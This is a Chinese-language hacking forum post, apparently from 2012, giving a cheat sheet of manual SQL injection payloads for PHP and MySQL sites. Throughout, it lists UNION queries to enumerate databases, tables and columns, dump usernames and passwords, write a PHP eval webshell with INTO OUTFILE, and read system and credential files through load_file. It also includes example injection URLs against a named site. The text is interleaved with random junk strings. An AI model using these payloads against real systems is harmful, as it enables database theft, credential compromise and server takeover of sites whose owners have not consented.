中国网络渗透测试联盟
标题:
PHP+MySQL 手工注入语句
[打印本页]
作者:
admin
时间:
2012-9-15 13:50
标题:
PHP+MySQL 手工注入语句
.
- R0 ~4 d. o, p% J
! e( f+ f3 @; `, X
暴字段长度
2 y$ Q( A, B& Y# Z
Order by num/*
& q: @" J; _; v2 l2 K& {
匹配字段
+ a! I! C5 Y) ~$ Q9 j
and 1=1 union select 1,2,3,4,5…….n/*
2 Z t. E- k2 W9 b7 \* S, a
暴字段位置
/ J" q$ R% }8 \0 e4 ~9 d- o
and 1=2 union select 1,2,3,4,5…..n/*
: N3 E+ D! i# _' u0 e" b
利用内置函数暴数据库信息
" C8 o) d# L: O
version() database() user()
6 Q. J: l& y; P% g! {
不用猜解可用字段暴数据库信息(有些网站不适用):
8 r) I* X" F1 a% V4 k0 K+ L* L: e
and 1=2 union all select version() /*
0 u+ W+ S4 i4 F0 ~3 [, v
and 1=2 union all select database() /*
1 v5 v1 j3 n* I0 l
and 1=2 union all select user() /*
. S3 o L, ], Z" g+ L# H# o
操作系统信息:
f/ y( A7 Q: I$ k# q2 U K
and 1=2 union all select @@global.version_compile_os from mysql.user /*
2 t* s! U) J2 X
数据库权限:
8 i4 `2 Y! r+ ~: U, Y5 i
and ord(mid(user(),1,1))=114 /* 返回正常说明为root
# ~2 S. @. p5 Y, G) a) B
暴库 (mysql>5.0)
, G: m* J; ]- S7 G& U
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
9 U" K6 u3 ]/ z9 g! l# H" w
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
/ W4 v) B+ W( q" o ]8 V
猜表
1 Q* v6 Q1 P! t) x
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—
6 d& @! V2 c4 ~) Y, C, {1 f, o" S
猜字段
8 w6 Q w. k/ J: |& m/ a
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
8 n* v) M) K/ S* |% a. b
暴密码
0 O' ~ F- m) i1 o, r! Q
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
5 o% x" y- C" a, F
高级用法(一个可用字段显示两个数据内容):
! c# [( c$ h7 F9 ]2 q% H- t6 p% n+ T
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
, R! R/ z* `. ?# x5 z/ B! S
直接写马(Root权限)
, j8 I. s8 q: u# m/ H
条件:1、知道站点物理路径
2 c! X0 c' f) f- O6 s, j; b8 D
2、有足够大的权限(可以用select …. from mysql.user测试)
; x& M% [* \4 @2 H7 e/ e
3、magic_quotes_gpc()=OFF
: v; L6 G; p6 E' ?0 S
select ‘<?php eval($_POST[cmd])?>' into outfile ‘物理路径'
3 H3 q9 f+ [9 V6 j, a: o# e' q1 s
and 1=2 union all select 一句话HEX值 into outfile '路径'
0 j q G9 L) L; w
load_file() 常用路径:
9 \8 p5 ]0 T2 f
1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
1 n+ o/ U$ @- }/ l2 X: ^7 O! A
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
4 ~2 g# o( h- n7 x2 B) o
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
, g- f j, e$ g$ ` Y
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
+ G6 D7 U6 i9 U! }7 C
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
! H1 s) c0 j; k2 g
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
1 t$ {+ J6 h* f; j
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
. R) p! E8 }6 M5 W- k3 r' L/ @5 W
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
9 K: R5 h _. l ]! n4 R
8、d:\APACHE\Apache2\conf\httpd.conf
0 t ?# b: R7 S2 j3 w+ C9 m+ Z4 ?' G
9、C:\Program Files\mysql\my.ini
9 M3 Y! Z( V0 B/ e
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
3 D5 z/ d5 d) l# ]
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
1 I( ?% Q' l! \0 L$ @. {2 O2 q/ J/ {
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
* e8 V7 g8 f9 [+ Z4 C( W" b
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
: G/ ]3 ^. D+ R: Y M
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
' A3 o: d& P9 K) L0 b
15、 /etc/sysconfig/iptables 本看防火墙策略
8 r! e7 h/ U' D, @ k0 t
16 、 usr/local/app/php5 b/php.ini PHP 的相当设置
/ q2 H$ ]: c" `+ ~" W
17 、/etc/my.cnf MYSQL的配置文件
8 k' H8 s) J( h: v. p, F3 N( B0 r: F. n
18、 /etc/redhat-release 红帽子的系统版本
7 }6 R- x" y Y: o; g
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
' a' f' P7 n% K) q/ g
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
' m; V' W- n# ~7 _. n
21、/usr/local/app/php5 b/php.ini //PHP相关设置
1 g6 t9 {/ ]* H) I
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
+ ^1 P" m" F0 l* k9 G0 a
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
( u! ~/ F; w ~5 [5 `7 A
24、c:\windows\my.ini
\* S6 _4 y% W1 T; g& B+ e
25、c:\boot.ini
% R# F) v+ u& I) R4 T/ t8 u
网站常用配置文件 config.inc.php、config.php。load_file()时要用replace(load_file(HEX),char(60),char(32))
/ B) j4 F1 j" E& r/ g" J' j9 q8 M- t$ }
注:
: M8 I# n) C& Z4 q. q
Char(60)表示 <
0 k+ s2 _3 ^$ O; i2 A
Char(32)表示 空格
8 k S8 C' D/ h" L' y) m% O' U& p5 {
手工注射时出现的问题:
+ U* B8 ]* J7 A* h# ~1 ]
当注射后页面显示:
" W. U! p4 D- R* s' P
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
# D( J7 H: w+ O' T$ w' I2 ]
如:
http://www.hake.ccc./mse/researc ... 0union%20select%201
,load_file(0x433A5C626F6F742E696E69),3,4,user()%20
0 M- f5 w' k! J3 W5 R% |$ E( k" ~
这是由于前后编码不一致造成的,
, g1 K- L+ O0 v8 j8 |* v; x
解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:
. A+ I A6 d, T8 I& l
http://www.hake.cc/mse/research/ ... 0union%20select%201
,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20
3 r7 J p. `$ j& _. n- H
既可以继续注射了。。。
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2